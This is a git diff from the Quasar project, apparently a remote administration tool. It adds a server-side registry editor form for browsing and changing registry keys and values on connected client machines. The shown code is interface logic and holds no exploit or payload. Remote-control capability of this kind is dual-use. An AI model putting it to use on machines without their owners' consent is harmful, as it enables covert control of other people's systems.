- this.lstRegistryKeys.TabIndex = 0;
- this.lstRegistryKeys.UseCompatibleStateImageBehavior = false;
- this.lstRegistryKeys.View = System.Windows.Forms.View.Details;
- this.lstRegistryKeys.AfterLabelEdit += new System.Windows.Forms.LabelEditEventHandler(this.lstRegistryKeys_AfterLabelEdit);
- this.lstRegistryKeys.ItemSelectionChanged += new System.Windows.Forms.ListViewItemSelectionChangedEventHandler(this.lstRegistryKeys_ItemSelectionChanged);
- this.lstRegistryKeys.Enter += new System.EventHandler(this.lstRegistryKeys_Enter);
- this.lstRegistryKeys.KeyUp += new System.Windows.Forms.KeyEventHandler(this.lstRegistryKeys_KeyUp);
- this.lstRegistryKeys.Leave += new System.EventHandler(this.lstRegistryKeys_Leave);
- this.lstRegistryKeys.MouseUp += new System.Windows.Forms.MouseEventHandler(this.lstRegistryKeys_MouseClick);
+ this.lstRegistryValues.Dock = System.Windows.Forms.DockStyle.Fill;
+ this.lstRegistryValues.FullRowSelect = true;
+ this.lstRegistryValues.HeaderStyle = System.Windows.Forms.ColumnHeaderStyle.Nonclickable;
+ this.lstRegistryValues.HideSelection = false;
+ this.lstRegistryValues.Location = new System.Drawing.Point(0, 0);
+ this.lstRegistryValues.Name = "lstRegistryValues";
+ this.lstRegistryValues.Size = new System.Drawing.Size(515, 508);
+ this.lstRegistryValues.SmallImageList = this.imageRegistryKeyTypeList;
+ this.lstRegistryValues.TabIndex = 0;
+ this.lstRegistryValues.UseCompatibleStateImageBehavior = false;
+ this.lstRegistryValues.View = System.Windows.Forms.View.Details;
+ this.lstRegistryValues.AfterLabelEdit += new System.Windows.Forms.LabelEditEventHandler(this.lstRegistryKeys_AfterLabelEdit);
+ this.lstRegistryValues.KeyUp += new System.Windows.Forms.KeyEventHandler(this.lstRegistryKeys_KeyUp);
+ this.lstRegistryValues.MouseUp += new System.Windows.Forms.MouseEventHandler(this.lstRegistryKeys_MouseClick);
//
// hName
//
this.hName.Text = "Name";
- this.hName.Width = 203;
+ this.hName.Width = 173;
//
// hType
//
this.hType.Text = "Type";
- this.hType.Width = 149;
+ this.hType.Width = 104;
//
// hValue
//
this.hValue.Text = "Value";
- this.hValue.Width = 384;
+ this.hValue.Width = 214;
//
// FrmRegistryEditor
//
- this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
- this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
- this.ClientSize = new System.Drawing.Size(1239, 724);
+ this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F);
+ this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi;
+ this.ClientSize = new System.Drawing.Size(784, 561);
this.Controls.Add(this.tableLayoutPanel);
this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ForeColor = System.Drawing.Color.Black;
@@ -612,7 +612,7 @@ private void InitializeComponent()
this.MainMenuStrip = this.menuStrip;
this.Name = "FrmRegistryEditor";
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
- this.Text = "Registry Editor";
+ this.Text = "Registry Editor []";
this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmRegistryEditor_FormClosing);
this.Load += new System.EventHandler(this.FrmRegistryEditor_Load);
this.tableLayoutPanel.ResumeLayout(false);
@@ -637,7 +637,7 @@ private void InitializeComponent()
private System.Windows.Forms.TableLayoutPanel tableLayoutPanel;
private System.Windows.Forms.SplitContainer splitContainer;
private Controls.RegistryTreeView tvRegistryDirectory;
- private Controls.AeroListView lstRegistryKeys;
+ private Controls.AeroListView lstRegistryValues;
private System.Windows.Forms.StatusStrip statusStrip;
private System.Windows.Forms.ToolStripStatusLabel selectedStripStatusLabel;
private System.Windows.Forms.ImageList imageRegistryDirectoryList;
@@ -661,7 +661,6 @@ private void InitializeComponent()
private System.Windows.Forms.ContextMenuStrip selectedItem_ContextMenuStrip;
private System.Windows.Forms.ToolStripMenuItem modifyToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem modifyBinaryDataToolStripMenuItem;
- private System.Windows.Forms.ToolStripSeparator toolStripSeparator3;
private System.Windows.Forms.ToolStripMenuItem deleteToolStripMenuItem1;
private System.Windows.Forms.ToolStripMenuItem renameToolStripMenuItem1;
private System.Windows.Forms.ContextMenuStrip lst_ContextMenuStrip;
@@ -693,5 +692,6 @@ private void InitializeComponent()
private System.Windows.Forms.ToolStripMenuItem qWORD64bitValueToolStripMenuItem2;
private System.Windows.Forms.ToolStripMenuItem multiStringValueToolStripMenuItem2;
private System.Windows.Forms.ToolStripMenuItem expandableStringValueToolStripMenuItem2;
+ private System.Windows.Forms.ToolStripSeparator modifyToolStripSeparator1;
}
}
\ No newline at end of file
diff --git a/Quasar.Server/Forms/FrmRegistryEditor.cs b/Quasar.Server/Forms/FrmRegistryEditor.cs
new file mode 100644
index 000000000..bb9f9cfd1
--- /dev/null
+++ b/Quasar.Server/Forms/FrmRegistryEditor.cs
@@ -0,0 +1,834 @@
+using System;
+using System.Collections.Generic;
+using System.Drawing;
+using System.Linq;
+using System.Windows.Forms;
+using Microsoft.Win32;
+using Quasar.Common.Messages;
+using Quasar.Common.Models;
+using Quasar.Common.Utilities;
+using Quasar.Server.Controls;
+using Quasar.Server.Extensions;
+using Quasar.Server.Helper;
+using Quasar.Server.Messages;
+using Quasar.Server.Networking;
+using Quasar.Server.Registry;
+
+namespace Quasar.Server.Forms
+{
+ public partial class FrmRegistryEditor : Form
+ {
+ ///
+ /// The client which can be used for the registry editor.
+ ///
+ private readonly Client _connectClient;
+
+ ///
+ /// The message handler for handling the communication with the client.
+ ///
+ private readonly RegistryHandler _registryHandler;
+
+ ///
+ /// Holds the opened registry editor form for each client.
+ ///
+ private static readonly Dictionary OpenedForms = new Dictionary();
+
+ ///
+ /// Creates a new registry editor form for the client or gets the current open form, if there exists one already.
+ ///
+ /// The client used for the registry editor form.
+ ///
+ /// Returns a new registry editor form for the client if there is none currently open, otherwise creates a new one.
+ ///
+ public static FrmRegistryEditor CreateNewOrGetExisting(Client client)
+ {
+ if (OpenedForms.ContainsKey(client))
+ {
+ return OpenedForms[client];
+ }
+ FrmRegistryEditor f = new FrmRegistryEditor(client);
+ f.Disposed += (sender, args) => OpenedForms.Remove(client);
+ OpenedForms.Add(client, f);
+ return f;
+ }
+
+ ///
+ /// Initializes a new instance of the class using the given client.
+ ///
+ /// The client used for the registry editor form.
+ public FrmRegistryEditor(Client client)
+ {
+ _connectClient = client;
+ _registryHandler = new RegistryHandler(client);
+
+ RegisterMessageHandler();
+ InitializeComponent();
+ }
+
+ ///
+ /// Registers the registry editor handler for client communication.
+ ///
+ private void RegisterMessageHandler()
+ {
+ _connectClient.ClientState += ClientDisconnected;
+ _registryHandler.ProgressChanged += ShowErrorMessage;
+ _registryHandler.KeysReceived += AddKeys;
+ _registryHandler.KeyCreated += CreateNewKey;
+ _registryHandler.KeyDeleted += DeleteKey;
+ _registryHandler.KeyRenamed += RenameKey;
+ _registryHandler.ValueCreated += CreateValue;
+ _registryHandler.ValueDeleted += DeleteValue;
+ _registryHandler.ValueRenamed += RenameValue;
+ _registryHandler.ValueChanged += ChangeValue;
+ MessageHandler.Register(_registryHandler);
+ }
+
+ ///
+ /// Unregisters the registry editor message handler.
+ ///
+ private void UnregisterMessageHandler()
+ {
+ MessageHandler.Unregister(_registryHandler);
+ _registryHandler.ProgressChanged -= ShowErrorMessage;
+ _registryHandler.KeysReceived -= AddKeys;
+ _registryHandler.KeyCreated -= CreateNewKey;
+ _registryHandler.KeyDeleted -= DeleteKey;
+ _registryHandler.KeyRenamed -= RenameKey;
+ _registryHandler.ValueCreated -= CreateValue;
+ _registryHandler.ValueDeleted -= DeleteValue;
+ _registryHandler.ValueRenamed -= RenameValue;
+ _registryHandler.ValueChanged -= ChangeValue;
+ _connectClient.ClientState -= ClientDisconnected;
+ }
+
+ ///
+ /// Called whenever a client disconnects.
+ ///
+ /// The client which disconnected.
+ /// True if the client connected, false if disconnected
+ private void ClientDisconnected(Client client, bool connected)
+ {
+ if (!connected)
+ {
+ this.Invoke((MethodInvoker)this.Close);
+ }
+ }
+
+ protected override CreateParams CreateParams
+ {
+ get
+ {
+ CreateParams cp = base.CreateParams;
+ cp.ExStyle |= 0x02000000; //WS_EX_COMPOSITED
+ return cp;
+ }
+ }
+
+ private void FrmRegistryEditor_Load(object sender, EventArgs e)
+ {
+ if (_connectClient.Value.AccountType != "Admin")
+ {
+ MessageBox.Show(
+ "The client software is not running as administrator and therefore some functionality like Update, Create, Open and Delete may not work properly!",
+ "Alert!", MessageBoxButtons.OK, MessageBoxIcon.Warning);
+ }
+
+ this.Text = WindowHelper.GetWindowTitle("Registry Editor", _connectClient);
+
+ // signal client to retrive the root nodes (indicated by null)
+ _registryHandler.LoadRegistryKey(null);
+ }
+
+ private void FrmRegistryEditor_FormClosing(object sender, FormClosingEventArgs e)
+ {
+ UnregisterMessageHandler();
+ }
+
+ private void ShowErrorMessage(object sender, string errorMsg)
+ {
+ MessageBox.Show(errorMsg, "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
+ }
+
+ #region TreeView helper functions
+
+ private void AddRootKey(RegSeekerMatch match)
+ {
+ TreeNode node = CreateNode(match.Key, match.Key, match.Data);
+ node.Nodes.Add(new TreeNode());
+ tvRegistryDirectory.Nodes.Add(node);
+ }
+
+ private TreeNode AddKeyToTree(TreeNode parent, RegSeekerMatch subKey)
+ {
+ TreeNode node = CreateNode(subKey.Key, subKey.Key, subKey.Data);
+ parent.Nodes.Add(node);
+ if (subKey.HasSubKeys)
+ node.Nodes.Add(new TreeNode());
+ return node;
+ }
+
+ private TreeNode CreateNode(string key, string text, object tag)
+ {
+ return new TreeNode()
+ {
+ Text = text,
+ Name = key,
+ Tag = tag
+ };
+ }
+
+ private void AddKeys(object sender, string rootKey, RegSeekerMatch[] matches)
+ {
+ if (string.IsNullOrEmpty(rootKey))
+ {
+ tvRegistryDirectory.BeginUpdate();
+
+ foreach (var match in matches)
+ AddRootKey(match);
+
+ tvRegistryDirectory.SelectedNode = tvRegistryDirectory.Nodes[0];
+
+ tvRegistryDirectory.EndUpdate();
+ }
+ else
+ {
+ TreeNode parent = GetTreeNode(rootKey);
+
+ if (parent != null)
+ {
+ tvRegistryDirectory.BeginUpdate();
+
+ foreach (var match in matches)
+ AddKeyToTree(parent, match);
+
+ parent.Expand();
+ tvRegistryDirectory.EndUpdate();
+ }
+ }
+ }
+
+ private void CreateNewKey(object sender, string rootKey, RegSeekerMatch match)
+ {
+ TreeNode parent = GetTreeNode(rootKey);
+
+ TreeNode node = AddKeyToTree(parent, match);
+
+ node.EnsureVisible();
+
+ tvRegistryDirectory.SelectedNode = node;
+ node.Expand();
+ tvRegistryDirectory.LabelEdit = true;
+ node.BeginEdit();
+ }
+
+ private void DeleteKey(object sender, string rootKey, string subKey)
+ {
+ TreeNode parent = GetTreeNode(rootKey);
+
+ if (parent.Nodes.ContainsKey(subKey)) {
+ parent.Nodes.RemoveByKey(subKey);
+ }
+ }
+
+ private void RenameKey(object sender, string rootKey, string oldName, string newName)
+ {
+ TreeNode parent = GetTreeNode(rootKey);
+
+ if (parent.Nodes.ContainsKey(oldName))
+ {
+ parent.Nodes[oldName].Text = newName;
+ parent.Nodes[oldName].Name = newName;
+
+ tvRegistryDirectory.SelectedNode = parent.Nodes[newName];
+ }
+ }
+
+ ///
+ /// Tries to find the desired TreeNode given the full path to it.
+ ///
+ /// The full path to the TreeNode.
+ /// Null if an invalid name is passed or the TreeNode could not be found; The TreeNode represented by the full path.
+ private TreeNode GetTreeNode(string path)
+ {
+ string[] nodePath = path.Split(new char[] { '\\' });
+
+ TreeNode lastNode = tvRegistryDirectory.Nodes[nodePath[0]];
+ if (lastNode == null)
+ return null;
+
+ for (int i = 1; i < nodePath.Length; i++)
+ {
+ lastNode = lastNode.Nodes[nodePath[i]];
+ if (lastNode == null)
+ return null;
+ }
+ return lastNode;
+ }
+
+ #endregion
+
+ #region ListView helper functions
+
+ private void CreateValue(object sender, string keyPath, RegValueData value)
+ {
+ TreeNode key = GetTreeNode(keyPath);
+
+ if (key != null )
+ {
+ List valuesFromNode = ((RegValueData[])key.Tag).ToList();
+ valuesFromNode.Add(value);
+ key.Tag = valuesFromNode.ToArray();
+
+ if (tvRegistryDirectory.SelectedNode == key)
+ {
+ RegistryValueLstItem item = new RegistryValueLstItem(value);
+ lstRegistryValues.Items.Add(item);
+ //Unselect all
+ lstRegistryValues.SelectedIndices.Clear();
+ item.Selected = true;
+ lstRegistryValues.LabelEdit = true;
+ item.BeginEdit();
+ }
+
+ tvRegistryDirectory.SelectedNode = key;
+ }
+ }
+
+ private void DeleteValue(object sender, string keyPath, string valueName)
+ {
+ TreeNode key = GetTreeNode(keyPath);
+
+ if (key != null)
+ {
+ if (!RegValueHelper.IsDefaultValue(valueName))
+ {
+ //Remove the values that have the specified name
+ key.Tag = ((RegValueData[])key.Tag).Where(value => value.Name != valueName).ToArray();
+
+ if (tvRegistryDirectory.SelectedNode == key)
+ lstRegistryValues.Items.RemoveByKey(valueName);
+ }
+ else //Handle delete of default value
+ {
+ var regValue = ((RegValueData[])key.Tag).First(item => item.Name == valueName);
+
+ if(tvRegistryDirectory.SelectedNode == key)
+ {
+ var valueItem = lstRegistryValues.Items.Cast()
+ .SingleOrDefault(item => item.Name == valueName);
+ if (valueItem != null)
+ valueItem.Data = regValue.Kind.RegistryTypeToString(null);
+ }
+ }
+
+ tvRegistryDirectory.SelectedNode = key;
+ }
+ }
+
+ private void RenameValue(object sender, string keyPath, string oldName, string newName)
+ {
+ TreeNode key = GetTreeNode(keyPath);
+
+ if (key != null)
+ {
+ var value = ((RegValueData[])key.Tag).First(item => item.Name == oldName);
+ value.Name = newName;
+
+ if (tvRegistryDirectory.SelectedNode == key)
+ {
+ var valueItem = lstRegistryValues.Items.Cast()
+ .SingleOrDefault(item => item.Name == oldName);
+ if (valueItem != null)
+ valueItem.RegName = newName;
+ }
+
+ tvRegistryDirectory.SelectedNode = key;
+ }
+ }
+
+ private void ChangeValue(object sender, string keyPath, RegValueData value)
+ {
+ TreeNode key = GetTreeNode(keyPath);
+
+ if (key != null)
+ {
+ var regValue = ((RegValueData[])key.Tag).First(item => item.Name == value.Name);
+ ChangeRegistryValue(value, regValue);
+
+ if (tvRegistryDirectory.SelectedNode == key)
+ {
+ var valueItem = lstRegistryValues.Items.Cast()
+ .SingleOrDefault(item => item.Name == value.Name);
+ if (valueItem != null)
+ valueItem.Data = RegValueHelper.RegistryValueToString(value);
+ }
+
+ tvRegistryDirectory.SelectedNode = key;
+ }
+ }
+
+ private void ChangeRegistryValue(RegValueData source, RegValueData dest)
+ {
+ if (source.Kind != dest.Kind) return;
+ dest.Data = source.Data;
+ }
+
+ private void UpdateLstRegistryValues(TreeNode node)
+ {
+ selectedStripStatusLabel.Text = node.FullPath;
+
+ RegValueData[] ValuesFromNode = (RegValueData[])node.Tag;
+
+ PopulateLstRegistryValues(ValuesFromNode);
+ }
+
+ private void PopulateLstRegistryValues(RegValueData[] values)
+ {
+ lstRegistryValues.BeginUpdate();
+ lstRegistryValues.Items.Clear();
+
+ //Sort values
+ values = (
+ from value in values
+ orderby value.Name ascending
+ select value
+ ).ToArray();
+
+ foreach (var value in values)
+ {
+ RegistryValueLstItem item = new RegistryValueLstItem(value);
+ lstRegistryValues.Items.Add(item);
+ }
+
+ lstRegistryValues.EndUpdate();
+ }
+
+ #endregion
+
+ #region tvRegistryDirectory actions
+
+ private void tvRegistryDirectory_AfterLabelEdit(object sender, NodeLabelEditEventArgs e)
+ {
+ if (e.Label != null)
+ {
+ e.CancelEdit = true;
+
+ if (e.Label.Length > 0)
+ {
+ if (e.Node.Parent.Nodes.ContainsKey(e.Label))
+ {
+ MessageBox.Show("Invalid label. \nA node with that label already exists.", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Warning);
+ e.Node.BeginEdit();
+ }
+ else
+ {
+ _registryHandler.RenameRegistryKey(e.Node.Parent.FullPath, e.Node.Name, e.Label);
+ tvRegistryDirectory.LabelEdit = false;
+ }
+ }
+ else
+ {
+ MessageBox.Show("Invalid label. \nThe label cannot be blank.", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Warning);
+ e.Node.BeginEdit();
+ }
+ }
+ else
+ {
+ //Stop editing if no changes where made
+ tvRegistryDirectory.LabelEdit = false;
+ }
+ }
+
+ private void tvRegistryDirectory_BeforeExpand(object sender, TreeViewCancelEventArgs e)
+ {
+ TreeNode parentNode = e.Node;
+
+ // If nothing is there (yet).
+ if (string.IsNullOrEmpty(parentNode.FirstNode.Name))
+ {
+ tvRegistryDirectory.SuspendLayout();
+ parentNode.Nodes.Clear();
+
+ _registryHandler.LoadRegistryKey(parentNode.FullPath);
+
+ tvRegistryDirectory.ResumeLayout();
+
+ e.Cancel = true;
+ }
+ }
+
+ private void tvRegistryDirectory_NodeMouseClick(object sender, TreeNodeMouseClickEventArgs e)
+ {
+ if (e.Button == MouseButtons.Right)
+ {
+ //Bug fix with rightclick not working for selectednode
+ tvRegistryDirectory.SelectedNode = e.Node;
+
+ //Display the context menu
+ Point pos = new Point(e.X, e.Y);
+ CreateTreeViewMenuStrip();
+ tv_ContextMenuStrip.Show(tvRegistryDirectory, pos);
+ }
+ }
+
+ private void tvRegistryDirectory_BeforeSelect(object sender, TreeViewCancelEventArgs e)
+ {
+ UpdateLstRegistryValues(e.Node);
+ }
+
+ private void tvRegistryDirectory_KeyUp(object sender, KeyEventArgs e)
+ {
+ if (e.KeyCode == Keys.Delete && GetDeleteState())
+ deleteRegistryKey_Click(this, e);
+ }
+
+ #endregion
+
+ #region ToolStrip and contextmenu helper functions
+
+ private void CreateEditToolStrip()
+ {
+ this.modifyToolStripMenuItem1.Visible =
+ this.modifyBinaryDataToolStripMenuItem1.Visible =
+ this.modifyNewtoolStripSeparator.Visible = lstRegistryValues.Focused;
+
+ this.modifyToolStripMenuItem1.Enabled =
+ this.modifyBinaryDataToolStripMenuItem1.Enabled = lstRegistryValues.SelectedItems.Count == 1;
+
+ this.renameToolStripMenuItem2.Enabled = GetRenameState();
+ this.deleteToolStripMenuItem2.Enabled = GetDeleteState();
+ }
+
+ private void CreateTreeViewMenuStrip()
+ {
+ this.renameToolStripMenuItem.Enabled = tvRegistryDirectory.SelectedNode.Parent != null;
+
+ this.deleteToolStripMenuItem.Enabled = tvRegistryDirectory.SelectedNode.Parent != null;
+ }
+
+ private void CreateListViewMenuStrip()
+ {
+ this.modifyToolStripMenuItem.Enabled =
+ this.modifyBinaryDataToolStripMenuItem.Enabled = lstRegistryValues.SelectedItems.Count == 1;
+
+ this.renameToolStripMenuItem1.Enabled = lstRegistryValues.SelectedItems.Count == 1 && !RegValueHelper.IsDefaultValue(lstRegistryValues.SelectedItems[0].Name);
+
+ this.deleteToolStripMenuItem1.Enabled = tvRegistryDirectory.SelectedNode != null && lstRegistryValues.SelectedItems.Count > 0;
+ }
+
+ #endregion
+
+ #region MenuStrip actions
+
+ private void editToolStripMenuItem_DropDownOpening(object sender, EventArgs e)
+ {
+ CreateEditToolStrip();
+ }
+
+ private void menuStripExit_Click(object sender, EventArgs e)
+ {
+ this.Close();
+ }
+
+ private void menuStripDelete_Click(object sender, EventArgs e) {
+ if(tvRegistryDirectory.Focused)
+ {
+ deleteRegistryKey_Click(this, e);
+ }
+ else if (lstRegistryValues.Focused)
+ {
+ deleteRegistryValue_Click(this, e);
+ }
+ }
+
+ private void menuStripRename_Click(object sender, EventArgs e)
+ {
+ if (tvRegistryDirectory.Focused)
+ {
+ renameRegistryKey_Click(this, e);
+ }
+ else if (lstRegistryValues.Focused)
+ {
+ renameRegistryValue_Click(this, e);
+ }
+ }
+
+ #endregion
+
+ #region lstRegistryKeys actions
+
+ private void lstRegistryKeys_MouseClick(object sender, MouseEventArgs e)
+ {
+ if (e.Button == MouseButtons.Right)
+ {
+ Point pos = new Point(e.X, e.Y);
+
+ //Try to check if a item was clicked
+ if (lstRegistryValues.GetItemAt(pos.X, pos.Y) == null)
+ {
+ //Not on a item
+ lst_ContextMenuStrip.Show(lstRegistryValues, pos);
+ }
+ else
+ {
+ //Clicked on a item
+ CreateListViewMenuStrip();
+ selectedItem_ContextMenuStrip.Show(lstRegistryValues, pos);
+ }
+ }
+ }
+
+ private void lstRegistryKeys_AfterLabelEdit(object sender, LabelEditEventArgs e)
+ {
+ if (e.Label != null && tvRegistryDirectory.SelectedNode != null)
+ {
+ e.CancelEdit = true;
+ int index = e.Item;
+
+ if (e.Label.Length > 0)
+ {
+ if (lstRegistryValues.Items.ContainsKey(e.Label))
+ {
+ MessageBox.Show("Invalid label. \nA node with that label already exists.", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Warning);
+ lstRegistryValues.Items[index].BeginEdit();
+ return;
+ }
+
+ _registryHandler.RenameRegistryValue(tvRegistryDirectory.SelectedNode.FullPath,
+ lstRegistryValues.Items[index].Name, e.Label);
+ lstRegistryValues.LabelEdit = false;
+ }
+ else
+ {
+ MessageBox.Show("Invalid label. \nThe label cannot be blank.", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Warning);
+ lstRegistryValues.Items[index].BeginEdit();
+
+ }
+ }
+ else
+ {
+ lstRegistryValues.LabelEdit = false;
+ }
+ }
+
+ private void lstRegistryKeys_KeyUp(object sender, KeyEventArgs e)
+ {
+ if (e.KeyCode == Keys.Delete && GetDeleteState())
+ deleteRegistryValue_Click(this, e);
+ }
+
+ #endregion
+
+ #region ContextMenu
+
+ private void createNewRegistryKey_Click(object sender, EventArgs e)
+ {
+ if (!(tvRegistryDirectory.SelectedNode.IsExpanded) && tvRegistryDirectory.SelectedNode.Nodes.Count > 0)
+ {
+ //Subscribe (wait for node to expand)
+ tvRegistryDirectory.AfterExpand += this.createRegistryKey_AfterExpand;
+ tvRegistryDirectory.SelectedNode.Expand();
+ }
+ else
+ {
+ _registryHandler.CreateRegistryKey(tvRegistryDirectory.SelectedNode.FullPath);
+ }
+ }
+
+ private void deleteRegistryKey_Click(object sender, EventArgs e)
+ {
+ // prompt user to confirm delete
+ string msg = "Are you sure you want to permanently delete this key and all of its subkeys?";
+ string caption = "Confirm Key Delete";
+ var answer = MessageBox.Show(msg, caption, MessageBoxButtons.YesNo, MessageBoxIcon.Warning);
+
+ if (answer == DialogResult.Yes)
+ {
+ string parentPath = tvRegistryDirectory.SelectedNode.Parent.FullPath;
+
+ _registryHandler.DeleteRegistryKey(parentPath, tvRegistryDirectory.SelectedNode.Name);
+ }
+ }
+
+ private void renameRegistryKey_Click(object sender, EventArgs e)
+ {
+ tvRegistryDirectory.LabelEdit = true;
+ tvRegistryDirectory.SelectedNode.BeginEdit();
+ }
+
+ #region New registry value actions
+
+ private void createStringRegistryValue_Click(object sender, EventArgs e)
+ {
+ if (tvRegistryDirectory.SelectedNode != null)
+ {
+ // request the creation of a new Registry value of type REG_SZ
+ _registryHandler.CreateRegistryValue(tvRegistryDirectory.SelectedNode.FullPath,
+ RegistryValueKind.String);
+ }
+ }
+
+ private void createBinaryRegistryValue_Click(object sender, EventArgs e)
+ {
+ if (tvRegistryDirectory.SelectedNode != null)
+ {
+ // request the creation of a new Registry value of type REG_BINARY
+ _registryHandler.CreateRegistryValue(tvRegistryDirectory.SelectedNode.FullPath,
+ RegistryValueKind.Binary);
+ }
+ }
+
+ private void createDwordRegistryValue_Click(object sender, EventArgs e)
+ {
+ if (tvRegistryDirectory.SelectedNode != null)
+ {
+ // request the creation of a new Registry value of type REG_DWORD
+ _registryHandler.CreateRegistryValue(tvRegistryDirectory.SelectedNode.FullPath,
+ RegistryValueKind.DWord);
+ }
+ }
+
+ private void createQwordRegistryValue_Click(object sender, EventArgs e)
+ {
+ if (tvRegistryDirectory.SelectedNode != null)
+ {
+ // request the creation of a new Registry value of type REG_QWORD
+ _registryHandler.CreateRegistryValue(tvRegistryDirectory.SelectedNode.FullPath,
+ RegistryValueKind.QWord);
+ }
+ }
+
+ private void createMultiStringRegistryValue_Click(object sender, EventArgs e)
+ {
+ if (tvRegistryDirectory.SelectedNode != null)
+ {
+ // request the creation of a new Registry value of type REG_MULTI_SZ
+ _registryHandler.CreateRegistryValue(tvRegistryDirectory.SelectedNode.FullPath,
+ RegistryValueKind.MultiString);
+ }
+ }
+
+ private void createExpandStringRegistryValue_Click(object sender, EventArgs e)
+ {
+ if (tvRegistryDirectory.SelectedNode != null)
+ {
+ // request the creation of a new Registry value of type REG_EXPAND_SZ
+ _registryHandler.CreateRegistryValue(tvRegistryDirectory.SelectedNode.FullPath,
+ RegistryValueKind.ExpandString);
+ }
+ }
+
+ #endregion
+
+ #region Registry value edit actions
+
+ private void deleteRegistryValue_Click(object sender, EventArgs e)
+ {
+ //Prompt user to confirm delete
+ string msg = "Deleting certain registry values could cause system instability. Are you sure you want to permanently delete " + (lstRegistryValues.SelectedItems.Count == 1 ? "this value?": "these values?");
+ string caption = "Confirm Value Delete";
+ var answer = MessageBox.Show(msg, caption, MessageBoxButtons.YesNo, MessageBoxIcon.Warning);
+
+ if (answer == DialogResult.Yes)
+ {
+ foreach (var item in lstRegistryValues.SelectedItems)
+ {
+ if (item.GetType() == typeof(RegistryValueLstItem))
+ {
+ RegistryValueLstItem registryValue = (RegistryValueLstItem) item;
+ _registryHandler.DeleteRegistryValue(tvRegistryDirectory.SelectedNode.FullPath, registryValue.RegName);
+ }
+ }
+ }
+ }
+
+ private void renameRegistryValue_Click(object sender, EventArgs e)
+ {
+ lstRegistryValues.LabelEdit = true;
+ lstRegistryValues.SelectedItems[0].BeginEdit();
+ }
+
+ private void modifyRegistryValue_Click(object sender, EventArgs e)
+ {
+ CreateEditForm(false);
+ }
+
+ private void modifyBinaryDataRegistryValue_Click(object sender, EventArgs e)
+ {
+ CreateEditForm(true);
+ }
+
+ #endregion
+
+ #endregion
+
+ private void createRegistryKey_AfterExpand(object sender, TreeViewEventArgs e)
+ {
+ if (e.Node == tvRegistryDirectory.SelectedNode)
+ {
+ createNewRegistryKey_Click(this, e);
+
+ tvRegistryDirectory.AfterExpand -= createRegistryKey_AfterExpand;
+ }
+ }
+
+ #region helper functions
+
+ private bool GetDeleteState()
+ {
+ if (lstRegistryValues.Focused)
+ return lstRegistryValues.SelectedItems.Count > 0;
+ else if (tvRegistryDirectory.Focused && tvRegistryDirectory.SelectedNode != null)
+ return tvRegistryDirectory.SelectedNode.Parent != null;
+ return false;
+ }
+
+ private bool GetRenameState()
+ {
+ if (lstRegistryValues.Focused)
+ return lstRegistryValues.SelectedItems.Count == 1 && !RegValueHelper.IsDefaultValue(lstRegistryValues.SelectedItems[0].Name);
+ else if (tvRegistryDirectory.Focused && tvRegistryDirectory.SelectedNode != null)
+ return tvRegistryDirectory.SelectedNode.Parent != null;
+ return false;
+ }
+
+ private Form GetEditForm(RegValueData value, RegistryValueKind valueKind)
+ {
+ switch (valueKind)
+ {
+ case RegistryValueKind.String:
+ case RegistryValueKind.ExpandString:
+ return new FrmRegValueEditString(value);
+ case RegistryValueKind.DWord:
+ case RegistryValueKind.QWord:
+ return new FrmRegValueEditWord(value);
+ case RegistryValueKind.MultiString:
+ return new FrmRegValueEditMultiString(value);
+ case RegistryValueKind.Binary:
+ return new FrmRegValueEditBinary(value);
+ default:
+ return null;
+ }
+ }
+
+ private void CreateEditForm(bool isBinary)
+ {
+ string keyPath = tvRegistryDirectory.SelectedNode.FullPath;
+ string name = lstRegistryValues.SelectedItems[0].Name;
+ RegValueData value = ((RegValueData[])tvRegistryDirectory.SelectedNode.Tag).ToList().Find(item => item.Name == name);
+
+ // any kind can be edited as binary
+ RegistryValueKind kind = isBinary ? RegistryValueKind.Binary : value.Kind;
+
+ using (var frm = GetEditForm(value, kind))
+ {
+ if (frm.ShowDialog() == DialogResult.OK)
+ {
+ _registryHandler.ChangeRegistryValue(keyPath, (RegValueData) frm.Tag);
+ }
+ }
+ }
+
+ #endregion
+ }
+}
diff --git a/Server/Forms/FrmRegistryEditor.resx b/Quasar.Server/Forms/FrmRegistryEditor.resx
similarity index 99%
rename from Server/Forms/FrmRegistryEditor.resx
rename to Quasar.Server/Forms/FrmRegistryEditor.resx
index bc03a77e0..5d2001585 100644
--- a/Server/Forms/FrmRegistryEditor.resx
+++ b/Quasar.Server/Forms/FrmRegistryEditor.resx
@@ -125,7 +125,7 @@
AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w
LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0
ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAADm
- BwAAAk1TRnQBSQFMAwEBAAEoAQQBKAEEARABAAEQAQAE/wEJAQAI/wFCAU0BNgEEBgABNgEEAgABKAMA
+ BwAAAk1TRnQBSQFMAwEBAAFIAQUBSAEFARABAAEQAQAE/wEJAQAI/wFCAU0BNgEEBgABNgEEAgABKAMA
AUADAAEQAwABAQEAAQgGAAEEGAABgAIAAYADAAKAAQABgAMAAYABAAGAAQACgAIAA8ABAAHAAdwBwAEA
AfABygGmAQABMwUAATMBAAEzAQABMwEAAjMCAAMWAQADHAEAAyIBAAMpAQADVQEAA00BAANCAQADOQEA
AYABfAH/AQACUAH/AQABkwEAAdYBAAH/AewBzAEAAcYB1gHvAQAB1gLnAQABkAGpAa0CAAH/ATMDAAFm
@@ -169,7 +169,7 @@
